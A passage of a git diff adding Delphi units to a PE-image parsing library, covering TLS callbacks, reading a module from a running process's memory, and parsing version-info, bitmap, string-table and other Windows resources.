exit(PR_OK); + + if not PE.SeekRVA(Dir.VirtualAddress) then + begin + PE.Msg.Write(SCategoryTLS, 'Incorrect directory RVA.'); + exit(PR_ERROR); + end; + + case PE.ImageBits of + 32: + begin + bRead := PE.ReadEx(TLSDir.tls32, SizeOf(TLSDir.tls32)); + AddressofCallbacks := TLSDir.tls32.AddressofCallbacks; + end; + 64: + begin + bRead := PE.ReadEx(TLSDir.tls64, SizeOf(TLSDir.tls64)); + AddressofCallbacks := TLSDir.tls64.AddressofCallbacks; + end; + else + exit(PR_ERROR); + end; + + if not bRead then + begin + PE.Msg.Write(SCategoryTLS, 'Failed to read directory.'); + exit(PR_ERROR); + end; + + // Assign dir. + PE.TLS.Dir := TLSDir; + + // Try to read callback addresses if available. + + // It's ok if there's no callbacks. + if AddressofCallbacks = 0 then + exit(PR_OK); + + if not PE.SeekVA(AddressofCallbacks) then + begin + PE.Msg.Write(SCategoryTLS, 'Incorrect address of callbacks.'); + exit(PR_OK); + end; + + while True do + begin + CurRVA := PE.PositionRVA; + + // Try to read callback address. + if not PE.ReadWordEx(0, @CallbackVA) then + begin + PE.Msg.Write(SCategoryTLS, 'Failed to read callback address at RVA: 0x%x. Probably malformed data.', [CurRVA]); + break; + end; + + // Is it terminator? + if CallbackVA = 0 then + break; + + // Does the address exist? + if not PE.VAExists(CallbackVA) then + begin + PE.Msg.Write(SCategoryTLS, 'Bad callback address (0x%x) at RVA: 0x%x', [CallbackVA, CurRVA]); + break; + end; + + // Add existing address. + PE.TLS.CallbackRVAs.Add(PE.VAToRVA(CallbackVA)) + end; + + exit(PR_OK); +end; + +end. diff --git a/Core/PE/PE.ParserCallbacks.pas b/Core/PE/PE.ParserCallbacks.pas new file mode 100755 index 0000000..79941a2 --- /dev/null +++ b/Core/PE/PE.ParserCallbacks.pas @@ -0,0 +1,16 @@ +unit PE.ParserCallbacks; + +interface + +uses + PE.Common, + PE.Types.Relocations; + +type + IPEParserCallbacks = interface + procedure ParsedRelocationBlockHeader(RVA: TRVA; const Block: TBaseRelocationBlock); + end; + +implementation + +end. diff --git a/Core/PE/PE.ProcessModuleStreamxxx.pas b/Core/PE/PE.ProcessModuleStreamxxx.pas new file mode 100755 index 0000000..7680048 --- /dev/null +++ b/Core/PE/PE.ProcessModuleStreamxxx.pas @@ -0,0 +1,126 @@ +{ + * Class to access memory of Windows process. + * + * Stream begin is base of module. + * Stream size is size of image of target module. +} +unit PE.ProcessModuleStream; + +interface + +uses + Classes, + SysUtils, + + PsApi, + TlHelp32, + Windows, + + WinHelper; + +type + TProcessModuleStream = class(TStream) + private + FProcessHandle: THandle; + FModuleBase: NativeUInt; + FModuleSize: DWORD; + private + FCurrentRVA: UInt64; + public + constructor Create(ProcessID: DWORD; const me: TModuleEntry32); + + // Create from known process ID. Module base is found from ModuleName. + // If process id is invalid or no module found exception raised. + constructor CreateFromPidAndModuleName(ProcessID: DWORD; const ModuleName: string); + + constructor CreateFromPidAndAddress(ProcessID: DWORD; Address: NativeUInt); + + // Create from known process id. Main module used (i.e. started exe). + constructor CreateFromPid(ProcessID: DWORD); + + destructor Destroy; override; + + function Seek(const Offset: Int64; Origin: TSeekOrigin): Int64; override; + function Read(var Buffer; Count: Longint): Longint; override; + + property ModuleBase: NativeUInt read FModuleBase; + end; + +implementation + +{ TProcessModuleStream } + +procedure RaiseFailedToFindModule; +begin + raise Exception.Create('Failed to find main module.'); +end; + +constructor TProcessModuleStream.Create(ProcessID: DWORD; const me: TModuleEntry32); +begin + inherited Create; + FProcessHandle := OpenProcess(MAXIMUM_ALLOWED, False, ProcessID); + if FProcessHandle = 0 then + RaiseLastOSError; + FModuleBase := NativeUInt(me.modBaseAddr); + FModuleSize := me.modBaseSize; +end; + +constructor TProcessModuleStream.CreateFromPidAndModuleName(ProcessID: DWORD; const ModuleName: string); +var + me: TModuleEntry32; +begin + if not FindModuleByName(ProcessID, ModuleName) then + RaiseFailedToFindModule; + Create(ProcessID, me); +end; + +constructor TProcessModuleStream.CreateFromPidAndAddress(ProcessID: DWORD; Address: NativeUInt); +var + me: TModuleEntry32; +begin + if not FindModuleByAddress(ProcessID, Address, me) then + RaiseFailedToFindModule; + Create(ProcessID, me); +end; + +constructor TProcessModuleStream.CreateFromPid(ProcessID: DWORD); +var + me: TModuleEntry32; +begin + if not FindMainModule(ProcessID, me) then + RaiseFailedToFindModule; + Create(ProcessID, me); +end; + +destructor TProcessModuleStream.Destroy; +begin + CloseHandle(FProcessHandle); + inherited; +end; + +function TProcessModuleStream.Read(var Buffer; Count: Integer): Longint; +var + p: pbyte; + done: NativeUInt; +begin + p := pbyte(FModuleBase) + FCurrentRVA; + done := 0; + ReadProcessMemory(FProcessHandle, p, @Buffer, Count, done); + inc(FCurrentRVA, done); + Result := done; +end; + +function TProcessModuleStream.Seek(const Offset: Int64; Origin: TSeekOrigin): Int64; +begin + case Origin of + soBeginning: + FCurrentRVA := Offset; + soCurrent: + FCurrentRVA := FCurrentRVA + Offset; + soEnd: + FCurrentRVA := FModuleSize + Offset; + end; + Result := FCurrentRVA; +end; + +end. diff --git a/Core/PE/PE.RTTI.pas b/Core/PE/PE.RTTI.pas new file mode 100755 index 0000000..95806c6 --- /dev/null +++ b/Core/PE/PE.RTTI.pas @@ -0,0 +1,107 @@ +unit PE.RTTI; + +interface + +uses + Classes; + +type + TRecordFieldDesc = record + Flags: uint32; + FieldName: PChar; + end; + + PRecordFieldDesc = ^TRecordFieldDesc; + + // TRttiReadFunc must return: + // - OutFieldSize: size of field. + // - OutReadSize size to read into field. + TRttiFieldResolveProc = procedure(Desc: PRecordFieldDesc; + OutFieldSize, OutReadWriteSize: PInteger; ud: pointer); + + TRttiOperation = (RttiRead, RttiWrite, RttiCalcSize); + + // MaxSize: -1 means no limit. +function RTTI_Process(Stream: TStream; Op: TRttiOperation; Buf: PByte; + FieldDesc: PRecordFieldDesc; FieldDescCnt: integer; MaxSize: integer; + ResolveProc: TRttiFieldResolveProc; ud: pointer): uint32; + +implementation + +{$IFDEF DIAG} + +uses + System.SysUtils; + +procedure DbgLogData(Desc: PRecordFieldDesc; Stream: TStream; + FieldSize: integer; IOSize: integer); +begin + writeln(Format('"%s" @ %x FieldSize: %x IOSize: %x', + [Desc.FieldName, Stream.Position, FieldSize, IOSize])); +end; +{$ENDIF} + +function RTTI_Process; +var + i: integer; + FieldSize, ReadWriteSize, tmp: integer; +begin + Result := 0; + + if (Buf = nil) or (FieldDesc = nil) or (FieldDescCnt = 0) or (MaxSize = 0) + then + exit; + + for i := 0 to FieldDescCnt - 1 do + begin + ResolveProc(FieldDesc, @FieldSize, @ReadWriteSize, ud); + +{$IFDEF DIAG} + DbgLogData(FieldDesc, Stream, FieldSize, ReadWriteSize); +{$ENDIF} + if ReadWriteSize <> 0 then + begin + case Op of + RttiRead: + begin + if ReadWriteSize < FieldSize then + FillChar(Buf^, FieldSize, 0); + tmp := Stream.Read(Buf^, ReadWriteSize); + end; + RttiWrite: + tmp := Stream.Write(Buf^, ReadWriteSize); + RttiCalcSize: + tmp := ReadWriteSize; + else + tmp := ReadWriteSize; + end; + + if tmp <> ReadWriteSize then + break; // read error +{$IFDEF DIAG} + case tmp of + 1: + writeln(Format('= %x', [PByte(Buf)^])); + 2: + writeln(Format('= %x', [PWord(Buf)^])); + 4: + writeln(Format('= %x', [PCardinal(Buf)^])); + 8: + writeln(Format('= %x', [PUint64(Buf)^])); + end; +{$ENDIF} + end; + + inc(Result, ReadWriteSize); + inc(Buf, FieldSize); + inc(FieldDesc); + +{$WARN COMPARING_SIGNED_UNSIGNED OFF} + if (MaxSize <> -1) and (Result >= MaxSize) then + break; +{$WARN COMPARING_SIGNED_UNSIGNED ON} + end; + +end; + +end. diff --git a/Core/PE/PE.Resources.Extract.pas b/Core/PE/PE.Resources.Extract.pas new file mode 100755 index 0000000..6607797 --- /dev/null +++ b/Core/PE/PE.Resources.Extract.pas @@ -0,0 +1,85 @@ +unit PE.Resources.Extract; + +interface + +uses + PE.Common, + PE.Resources; + +// Extract raw resource data from Root node and save it to Dir folder. +// If Root is nil, the main root is taken. +// Result is number of resources extracted. +function ExtractRawResources(Img: TPEImageObject; const Dir: string; + Root: TResourceTreeNode = nil): integer; + +implementation + +uses + System.IOUtils, + System.SysUtils, + PE.Image; + +type + + { TExtractor } + + TExtractor = class + private + FImg: TPEImage; + FDir: string; + FCount: integer; + function Callback(Node: TResourceTreeNode): boolean; + public + function Extract(Img: TPEImage; const Dir: string; Root: TResourceTreeNode): integer; + end; + +function TExtractor.Callback(Node: TResourceTreeNode): boolean; +var + Leaf: TResourceTreeLeafNode; + FileName: string; + Path: string; +begin + if Node.IsLeaf then + begin + Leaf := Node as TResourceTreeLeafNode; + // Make filename and path. + FileName := Format('%s\%s', [FDir, Leaf.GetPath]); + Path := ExtractFilePath(FileName); + // Create path and save file. + TDirectory.CreateDirectory(Path); + Leaf.Data.SaveToFile(FileName); + inc(FCount); + end; + Result := True; // continue +end; + +function ExtractRawResources(Img: TPEImageObject; const Dir: string; Root: TResourceTreeNode = nil): integer; +var + Extractor: TExtractor; +begin + Extractor := TExtractor.Create; + try + Result := Extractor.Extract(Img as TPEImage, + ExcludeTrailingPathDelimiter(Dir), Root); + finally + Extractor.Free; + end; +end; + +function TExtractor.Extract(Img: TPEImage; const Dir: string; + Root: TResourceTreeNode): integer; +begin + FImg := Img; + FDir := Dir; + FCount := 0; + if Root = nil then + Root := Img.ResourceTree.Root; + if Root = nil then + Exit(0); + TDirectory.CreateDirectory(Dir); + Img.ResourceTree.Root.Traverse(Callback); + Exit(FCount); +end; + +end. + diff --git a/Core/PE/PE.Resources.VersionInfo.pas b/Core/PE/PE.Resources.VersionInfo.pas new file mode 100755 index 0000000..3f12621 --- /dev/null +++ b/Core/PE/PE.Resources.VersionInfo.pas @@ -0,0 +1,324 @@ +{ + RT_VERSION resource + http://msdn.microsoft.com/en-us/library/aa381058.aspx +} +unit PE.Resources.VersionInfo; + +interface + +uses + System.Classes, + System.SysUtils, + System.Generics.Collections, + + PE.Common, + PE.Utils; + +{$i 'VerRsrc.inc'} + +type + TBlock = class; + TBlockList = TObjectList<TBlock>; + TBlockClass = class of TBlock; + + TRootBlock = class + public + Name: string; + Parent: TRootBlock; + Children: TBlockList; + constructor Create(Parent: TRootBlock); + destructor Destroy; override; + end; + + TBlock = class(TRootBlock) + private + Size: integer; + Offset: TFileOffset; + ValueOffset: TFileOffset; + ValueSize: integer; + function GetBlockEndOffset: TFileOffset; inline; + end; + + TBlockVersionInfo = class(TBlock) + public + FixedInfo: VS_FIXEDFILEINFO; + end; + + TBlockStringInfo = class(TBlock) + end; + + TBlockStringInfoNode = class(TBlockStringInfo) + public + Lang: word; + Charset: word; + end; + + TBlockStringInfoItems = TList<TPair<string, string>>; + + TBlockStringInfoPair = class(TBlock) + public + Value: string; + property Key: string read Name; + end; + + TBlockVarInfo = class(TBlock); + + TBlockVarTranslationInfo = class(TBlock) + public + langID: word; + charsetID: word; + end; + + TPrintFunc = reference to procedure(const Text: string); + + TPEVersionInfo = class + private + procedure ProcessBlocks(Stream: TStream; Blocks: TBlockList); + procedure PrintTreeEx(n: TRootBlock; PrintFn: TPrintFunc; Indent: integer); + public + Root: TRootBlock; + + constructor Create; + destructor Destroy; override; + + procedure LoadFromStream(Stream: TStream); + procedure PrintTree(PrintFn: TPrintFunc; Indent: integer = 0); + end; + +implementation + +type + TVersionInfoBlockHeader = packed record + Length: uint16; // block length w/o padding + ValueLength: uint16; // value length (optional) + &Type: uint16; // Value type (0: binary; 1: text) + + // Here goes value name (UTF-16, 0-terminated) + end; + + { TPEVersionInfo } + +procedure ReadStringInfoItems(Stream: TStream; EndOffset: TFileOffset); +var + blockHdr: TVersionInfoBlockHeader; + Key, Value: string; + Offset: TFileOffset; +begin + Offset := Stream.Position; + while (Offset < EndOffset) and StreamSeek(Stream, Offset) do + begin + if not StreamRead(Stream, blockHdr, SizeOf(blockHdr)) then + break; + StreamReadStringW(Stream, Key); + StreamSeekAlign(Stream, 4); + + if blockHdr.ValueLength <> 0 then + StreamReadStringW(Stream, Value) + else + Value := ''; + + Offset := AlignUp(Offset + blockHdr.Length, 4); + end; +end; + +function CreateBlockByName(const BlockName: string; Parent: TRootBlock): TBlock; +begin + if Parent.ClassType = TBlockVarInfo then + begin + if BlockName = 'Translation' then + Exit(TBlockVarTranslationInfo.Create(Parent)); + end; + + if BlockName = 'VS_VERSION_INFO' then + Exit(TBlockVersionInfo.Create(Parent)) + else if BlockName = 'StringFileInfo' then + Exit(TBlockStringInfo.Create(Parent)) + else if BlockName = 'VarFileInfo' then + Exit(TBlockVarInfo.Create(Parent)) + else + Exit(TBlock.Create(Parent)); +end; + +procedure ReadLevelOfBlocks(Stream: TStream; Offset, EndOffset: TFileOffset; + var List: TBlockList; + Parent: TRootBlock; + BlockClass: TBlockClass = nil); +var + blockHdr: TVersionInfoBlockHeader; + BlockName: string; + block: TBlock; +begin + List.Clear; + + while (Offset < EndOffset) and StreamSeek(Stream, Offset) do + begin + if not StreamRead(Stream, blockHdr, SizeOf(blockHdr)) then + break; + + if not StreamReadStringW(Stream, BlockName) then + break; + + StreamSeekAlign(Stream, 4); // align 4 + + if BlockClass = nil then + block := CreateBlockByName(BlockName, Parent) + else + block := BlockClass.Create(Parent); + + block.Size := blockHdr.Length; + block.Offset := Offset; + block.ValueOffset := Stream.Position; + block.ValueSize := blockHdr.ValueLength; + block.Name := BlockName; + + List.Add(block); + + // Next block. + Offset := AlignUp(Offset + blockHdr.Length, 4); + end; +end; + +constructor TPEVersionInfo.Create; +begin + inherited; + self.Root := TRootBlock.Create(nil); +end; + +destructor TPEVersionInfo.Destroy; +begin + self.Root.Free; + inherited; +end; + +procedure TPEVersionInfo.LoadFromStream; +begin + self.Root.Children.Clear; + ReadLevelOfBlocks(Stream, 0, Stream.Size, self.Root.Children, self.Root); + ProcessBlocks(Stream, self.Root.Children); +end; + +procedure TPEVersionInfo.PrintTree(PrintFn: TPrintFunc; Indent: integer); +begin + PrintTreeEx(self.Root, PrintFn, Indent); +end; + +procedure TPEVersionInfo.PrintTreeEx(n: TRootBlock; PrintFn: TPrintFunc; + Indent: integer); +var + sIndent: string; + c: TRootBlock; +begin + sIndent := string.Create(' ', Indent); + + if n.ClassType = TRootBlock then + PrintFn(sIndent + 'Root') + else if n.ClassType = TBlockVersionInfo then + PrintFn(sIndent + 'VersionInfo') + else if n.ClassType = TBlockStringInfo then + PrintFn(sIndent + 'StringInfo') + else if n.ClassType = TBlockStringInfoNode then + begin + PrintFn(Format('%sStringInfoNode (lang: %4.4x; charset: %4.4x)', [ + sIndent, TBlockStringInfoNode(n).Lang, TBlockStringInfoNode(n).Charset])); + end + else if n.ClassType = TBlockStringInfoPair then + begin + PrintFn(Format('%s"%s" = "%s"', [sIndent, TBlockStringInfoPair(n).Key, TBlockStringInfoPair(n).Value])); + end + else if n.ClassType = TBlockVarInfo then + PrintFn(sIndent + 'VarInfo') + else if n.ClassType = TBlockVarTranslationInfo then + PrintFn(Format('%sTranslation, landID=%x, charsetID=%x', [ + sIndent, TBlockVarTranslationInfo(n).langID, TBlockVarTranslationInfo(n).charsetID])) + else + PrintFn(Format('%s%s(%s)', [sIndent, n.Name, n.ClassName])); + + for c in n.Children do + PrintTreeEx(c, PrintFn, Indent + 2); +end; + +procedure TPEVersionInfo.ProcessBlocks(Stream: TStream; Blocks: TBlockList); +var + n: TBlock; +begin + for n in Blocks do + begin + if n.ClassType = TBlockVersionInfo then + begin + // value + if n.ValueSize < SizeOf(VS_FIXEDFILEINFO) then + raise Exception.Create('Version Info resource: size for VS_FIXEDFILEINFO is too low.'); + if not StreamSeek(Stream, n.ValueOffset) then + raise Exception.Create('Failed to seek offset of VS_FIXEDFILEINFO.'); + if not StreamRead(Stream, TBlockVersionInfo(n).FixedInfo, SizeOf(VS_FIXEDFILEINFO)) then + raise Exception.Create('Failed to read VS_FIXEDFILEINFO.'); + + // sub-nodes + ReadLevelOfBlocks(Stream, AlignUp(Stream.Position, 4), n.GetBlockEndOffset, n.Children, n); + ProcessBlocks(Stream, n.Children); + end + else if n.ClassType = TBlockStringInfo then + begin + ReadLevelOfBlocks(Stream, AlignUp(n.ValueOffset, 4), n.GetBlockEndOffset, n.Children, n, TBlockStringInfoNode); + ProcessBlocks(Stream, n.Children); + end + else if n.ClassType = TBlockStringInfoNode then + begin + // lang + TBlockStringInfoNode(n).Lang := StrToInt('$' + copy(n.Name, 1, 4)); + // charset + TBlockStringInfoNode(n).Charset := StrToInt('$' + copy(n.Name, 5, 4)); + // sub-nodes + ReadLevelOfBlocks(Stream, AlignUp(n.ValueOffset, 4), n.GetBlockEndOffset, n.Children, n, TBlockStringInfoPair); + ProcessBlocks(Stream, n.Children); + end + else if n.ClassType = TBlockStringInfoPair then + begin + if n.ValueSize <> 0 then + begin + Stream.Position := n.ValueOffset; + StreamReadStringW(Stream, TBlockStringInfoPair(n).Value); + end; + end + else if n.ClassType = TBlockVarInfo then + begin + ReadLevelOfBlocks(Stream, AlignUp(n.ValueOffset, 4), n.GetBlockEndOffset, n.Children, n); + ProcessBlocks(Stream, n.Children); + end + else if n.ClassType = TBlockVarTranslationInfo then + begin + if n.ValueSize >= 4 then + begin + Stream.Position := n.ValueOffset; + StreamRead(Stream, TBlockVarTranslationInfo(n).langID, 2); + StreamRead(Stream, TBlockVarTranslationInfo(n).charsetID, 2); + end; + end + else + ProcessBlocks(Stream, n.Children); + end; +end; + +{ TRootBlock } + +constructor TRootBlock.Create(Parent: TRootBlock); +begin + inherited Create; + self.Parent := Parent; + self.Children := TBlockList.Create; +end; + +destructor TRootBlock.Destroy; +begin + self.Children.Free; + inherited; +end; + +{ TBlock } + +function TBlock.GetBlockEndOffset: TFileOffset; +begin + result := self.Offset + self.Size; +end; + +end. diff --git a/Core/PE/PE.Resources.Windows.Bitmap.pas b/Core/PE/PE.Resources.Windows.Bitmap.pas new file mode 100755 index 0000000..19d8b5d --- /dev/null +++ b/Core/PE/PE.Resources.Windows.Bitmap.pas @@ -0,0 +1,65 @@ +unit PE.Resources.Windows.Bitmap; + +interface + +uses + System.Classes, + System.SysUtils, + + PE.Utils; + +// Parse RT_BITMAP into BMP stream. +function ParseBitmapResource(const Stream: TStream): TStream; + +implementation + +{$ALIGN 1} + + +type + TBitmapFileHeader = record + bfType: uint16; // BM + bfSize: uint32; // Size of bitmap file/stream. + bfReserved1: uint16; // + bfReserved2: uint16; // + bfOffBits: uint32; // Offset of pixels. + end; + + TBitmapInfoHeader = record + biSize: uint32; + biWidth: int32; + biHeight: int32; + biPlanes: uint16; + biBitCount: uint16; + biCompression: uint32; + biSizeImage: uint32; + biXPelsPerMeter: int32; + biYPelsPerMeter: int32; + biClrUsed: uint32; + biClrImportant: uint32; + end; + +function ParseBitmapResource(const Stream: TStream): TStream; +var + BmpHdr: TBitmapFileHeader; + InfoHdr: TBitmapInfoHeader; +begin + if not StreamRead(Stream, InfoHdr, SizeOf(InfoHdr)) then + raise Exception.Create('Stream too small.'); + + BmpHdr.bfType := $4D42; // BM + BmpHdr.bfSize := SizeOf(TBitmapFileHeader) + Stream.Size; + BmpHdr.bfReserved1 := 0; + BmpHdr.bfReserved2 := 0; + BmpHdr.bfOffBits := 0; // Nowadays viewers are smart enough to calc this offset themselves. + + // Create bitmap. + Stream.Position := 0; + Result := TMemoryStream.Create; + Result.Write(BmpHdr, SizeOf(BmpHdr)); + Result.CopyFrom(Stream, Stream.Size); + + Result.Position := 0; +end; + +end. diff --git a/Core/PE/PE.Resources.Windows.Strings.pas b/Core/PE/PE.Resources.Windows.Strings.pas new file mode 100755 index 0000000..7f1f71d --- /dev/null +++ b/Core/PE/PE.Resources.Windows.Strings.pas @@ -0,0 +1,113 @@ +unit PE.Resources.Windows.Strings; + +interface + +uses + System.Classes, + System.SysUtils; + +type + TStringBundleID = uint32; + + TResourceStringBundle = class + public + id: TStringBundleID; + Strings: TStringList; + + function GetStringId(stringNumber: cardinal): cardinal; + + constructor Create(id: TStringBundleID); + destructor Destroy; override; + + procedure LoadFromStream(Stream: TStream); + end; + +function BundleToStringId(bundleID: TStringBundleID): cardinal; inline; + +// Parse string bundle. +function ParseStringResource(const Stream: TStream; bundleID: TStringBundleID): TResourceStringBundle; + +implementation + +{ + see + https://msdn.microsoft.com/en-us/library/windows/desktop/aa381050 + http://blogs.msdn.com/b/oldnewthing/archive/2004/01/30/65013.aspx +} + +// Bundle id to first string id in block of 16 strings. +function BundleToStringId(bundleID: TStringBundleID): cardinal; +begin + if bundleID < 1 then + raise Exception.Create('Wrong bundle id.'); + result := (bundleID - 1) * 16; +end; + +{ TResourceStringBundle } + +constructor TResourceStringBundle.Create(id: TStringBundleID); +begin + self.id := id; + self.Strings := TStringList.Create; + self.Strings.Capacity := 16; +end; + +destructor TResourceStringBundle.Destroy; +begin + Strings.Free; + inherited; +end; + +function TResourceStringBundle.GetStringId(stringNumber: cardinal): cardinal; +begin + result := BundleToStringId(id) + stringNumber; +end; + +procedure TResourceStringBundle.LoadFromStream(Stream: TStream); +var + dwLen: uint16; + allocLen: integer; + bytes: TBytes; + str: string; +begin + self.Strings.Clear; + + while Stream.Position < Stream.Size do + begin + if Stream.Read(dwLen, 2) <> 2 then + raise Exception.Create('Failed to read string length.'); + + if dwLen = 0 then + begin + continue; + end; + + dwLen := dwLen * 2; // 2 bytes per char + + if length(bytes) < dwLen then + begin + allocLen := ((dwLen + 128) div 128) * 128; + setlength(bytes, allocLen); + end; + + if Stream.Read(bytes, dwLen) <> dwLen then + raise Exception.Create('String read error.'); + + str := TEncoding.Unicode.GetString(bytes, 0, dwLen); + + Strings.Add(str); + end; +end; + +function ParseStringResource(const Stream: TStream; bundleID: TStringBundleID): TResourceStringBundle; +begin + result := TResourceStringBundle.Create(bundleID); + try + result.LoadFromStream(Stream); + except + result.Free; + result := nil; + end; +end; + +end. diff --git a/Core/PE/PE.Resources.Windows.pas b/Core/PE/PE.Resources.Windows.pas new file mode 100755 index 0000000..4ff2803 --- /dev/null +++ b/Core/PE/PE.Resources.Windows.pas @@ -0,0 +1,307 @@ +{ + Unit to manipulate resources in Windows oriented way. + + It means 3 resource levels: + - Type (RT_...) + - Name + - Language +} +unit PE.Resources.Windows; + +interface + +uses + System.Classes, + PE.Image, + PE.Resources, + PE.Resources.VersionInfo; + +{ Values for Windows PE. } + +type + RSRCID = UInt32; + +const + // The following are the predefined resource types. + // http://msdn.microsoft.com/en-us/library/windows/desktop/ms648009(v=vs.85).aspx + + RT_CURSOR = RSRCID(1); // Hardware-dependent cursor resource. + RT_BITMAP = RSRCID(2); // Bitmap resource. + RT_ICON = RSRCID(3); // Hardware-dependent icon resource. + RT_MENU = RSRCID(4); // Menu resource. + RT_DIALOG = RSRCID(5); // Dialog box. + RT_STRING = RSRCID(6); // String-table entry. + RT_FONTDIR = RSRCID(7); // Font directory resource. + RT_FONT = RSRCID(8); // Font resource. + RT_ACCELERATOR = RSRCID(9); // Accelerator table. + RT_RCDATA = RSRCID(10); // Application-defined resource (raw data). + RT_MESSAGETABLE = RSRCID(11); // Message-table entry. + RT_GROUP_CURSOR = RSRCID(UInt32(RT_CURSOR) + 11); // Hardware-independent cursor resource. + RT_GROUP_ICON = RSRCID(UInt32(RT_ICON) + 11); // Hardware-independent icon resource. + RT_VERSION = RSRCID(16); // Version resource. + RT_DLGINCLUDE = RSRCID(17); // Allows a resource editing tool to associate a string with an .rc file. + RT_PLUGPLAY = RSRCID(19); // Plug and Play resource. + RT_VXD = RSRCID(20); // VXD. + RT_ANICURSOR = RSRCID(21); // Animated cursor. + RT_ANIICON = RSRCID(22); // Animated icon. + RT_HTML = RSRCID(23); // HTML resource. + RT_MANIFEST = RSRCID(24); // Side-by-Side Assembly Manifest. + + RT_NAMES: array [0 .. 24] of string = ( + '#0', // 0 + 'RT_CURSOR', // 1 + 'RT_BITMAP', // 2 + 'RT_ICON', // 3 + 'RT_MENU', // 4 + 'RT_DIALOG', // 5 + 'RT_STRING', // 6 + 'RT_FONTDIR', // 7 + 'RT_FONT', // 8 + 'RT_ACCELERATOR', // 9 + 'RT_RCDATA', // 10 + 'RT_MESSAGETABLE', // 11 + 'RT_GROUP_CURSOR', // 12 + '#13', // 13 + 'RT_GROUP_ICON', // 14 + '#15', // 15 + 'RT_VERSION', // 16 + 'RT_DLGINCLUDE', // 17 + '#18', // 18 + 'RT_PLUGPLAY', // 19 + 'RT_VXD', // 20 + 'RT_ANICURSOR', // 21 + 'RT_ANIICON', // 22 + 'RT_HTML', // 23 + 'RT_MANIFEST' // 24 + ); + +type + TWindowsResourceTree = class + private + function FindResourceInternal(lpType, lpName: PChar; Language: word; Depth: cardinal): TResourceTreeNode; + protected + FResourceTree: TResourceTree; + public + constructor Create(ResourceTree: TResourceTree); + + // Find Type-Name-Language leaf. + function FindResource(lpType, lpName: PChar; Language: word): TResourceTreeLeafNode; overload; + // Find Type-Name branch. + function FindResource(lpType, lpName: PChar): TResourceTreeBranchNode; overload; + // Find Type branch. + function FindResource(lpType: PChar): TResourceTreeBranchNode; overload; + + // Update resource by full path. + // lpType, lpName: if <= $FFFF it's ID otherwise it point to Name string. + // If (lpData=nil) and (cbData=0) then resource is deleted. + procedure UpdateResource(lpType, lpName: PChar; Language: word; + lpData: PByte; cbData: UInt32); + + function RemoveResource(lpType, lpName: PChar; Language: word): boolean; + end; + +function IsIntResource(lpszType: PChar): boolean; inline; +function GetIntResource(lpszType: PChar): word; inline; +function MakeIntResource(wInteger: uint16): PChar; inline; + +// See Windows GetFileVersionInfo function. +// Find RT_VERSION raw data or nil if failed. +// Don't Free returned stream because it's part of ResourceTree. +function PeGetFileVersionInfo(img: TPEImage): TMemoryStream; + +function PeVerQueryValueFixed(stream: TStream; out value: VS_FIXEDFILEINFO): boolean; + +implementation + +uses + System.SysUtils; + +function IsIntResource(lpszType: PChar): boolean; inline; +begin + Result := NativeUInt(lpszType) shr 16 = 0; +end; + +function GetIntResource(lpszType: PChar): word; // inline; +begin + Result := NativeUInt(lpszType) and $FFFF; +end; + +function MakeIntResource(wInteger: uint16): PChar; +begin + Result := PChar(wInteger); +end; + +constructor TWindowsResourceTree.Create(ResourceTree: TResourceTree); +begin + FResourceTree := ResourceTree; +end; + +// Find or create node. +// IsBranch: Is fetched node must be branch (or leaf). +// lpName: Name or ID (intresource) +function FetchNode( + Parent: TResourceTreeBranchNode; + IsBranch: boolean; + CreateIfNotExists: boolean; + lpName: PChar): TResourceTreeNode; +var + bIntRsrc: boolean; +begin + bIntRsrc := IsIntResource(lpName); + // Check if node with such Name/Id already exists. + if bIntRsrc then + Result := Parent.FindByID(GetIntResource(lpName)) + else + Result := Parent.FindByName(lpName); + // If not exists, create it. + if Result = nil then + begin + if CreateIfNotExists then + begin + // Create sub-node. + if IsBranch then + Result := Parent.AddNewBranch + else + Result := Parent.AddNewLeaf; + // Set Id/Name + if bIntRsrc then + Result.Id := GetIntResource(lpName) + else + Result.Name := lpName; + end; + end + else + // If exists, check if branch/leaf. + begin + if not(Result.IsBranch = IsBranch) then + raise Exception.Create('Node type mismatch.'); + end; +end; + +function TWindowsResourceTree.RemoveResource(lpType, lpName: PChar; Language: word): boolean; +var + n: TResourceTreeNode; +begin + n := FindResourceInternal(lpType, lpName, Language, 2); + if not assigned(n) then + exit(false); + + n.Parent.Remove(n); + exit(true); +end; + +function TWindowsResourceTree.FindResource(lpType, lpName: PChar; Language: word): TResourceTreeLeafNode; +begin + Result := TResourceTreeLeafNode(FindResourceInternal(lpType, lpName, Language, 2)); +end; + +function TWindowsResourceTree.FindResource(lpType, lpName: PChar): + TResourceTreeBranchNode; +begin + Result := TResourceTreeBranchNode(FindResourceInternal(lpType, lpName, 0, 1)); +end; + +function TWindowsResourceTree.FindResource(lpType: PChar): TResourceTreeBranchNode; +begin + Result := TResourceTreeBranchNode(FindResourceInternal(lpType, nil, 0, 0)); +end; + +function TWindowsResourceTree.FindResourceInternal(lpType, lpName: PChar; + Language: word; Depth: cardinal): TResourceTreeNode; +const + IsBranches: array [0 .. 2] of boolean = (true, true, false); +var + i: integer; + n: TResourceTreeNode; + val: PChar; +begin + if Depth > 2 then + Depth := 2; + n := FResourceTree.Root; + val := nil; // compiler friendly + for i := 0 to Depth do + begin + case i of + 0: + val := lpType; + 1: + val := lpName; + 2: + val := PChar(Language); + end; + n := FetchNode(TResourceTreeBranchNode(n), IsBranches[i], false, val); + if n = nil then + exit(nil); + end; + Result := n; +end; + +procedure TWindowsResourceTree.UpdateResource(lpType, lpName: PChar; + Language: word; lpData: PByte; cbData: UInt32); +var + nRoot, nType, nName: TResourceTreeBranchNode; + nLang: TResourceTreeLeafNode; +begin + if (lpData = nil) and (cbData = 0) then + begin + RemoveResource(lpType, lpName, Language); + exit; + end; + nRoot := FResourceTree.Root; + nType := FetchNode(nRoot, true, true, lpType) as TResourceTreeBranchNode; + nName := FetchNode(nType, true, true, lpName) as TResourceTreeBranchNode; + nLang := FetchNode(nName, false, true, PChar(Language)) as TResourceTreeLeafNode; + nLang.UpdateData(lpData, cbData); +end; + +function PeGetFileVersionInfo(img: TPEImage): TMemoryStream; +var + rt: TWindowsResourceTree; + versionBranch: TResourceTreeBranchNode; + versionLeaf: TResourceTreeLeafNode; +begin + rt := TWindowsResourceTree.Create(img.ResourceTree); + try + versionBranch := rt.FindResource(MakeIntResource(RT_VERSION)); + if assigned(versionBranch) and versionBranch.IsBranch and (versionBranch.Children.Count > 0) then + begin + versionBranch := TResourceTreeBranchNode(versionBranch.Children.First); + if assigned(versionBranch) and versionBranch.IsBranch and (versionBranch.Children.Count > 0) then + begin + versionLeaf := TResourceTreeLeafNode(versionBranch.Children.First); + if 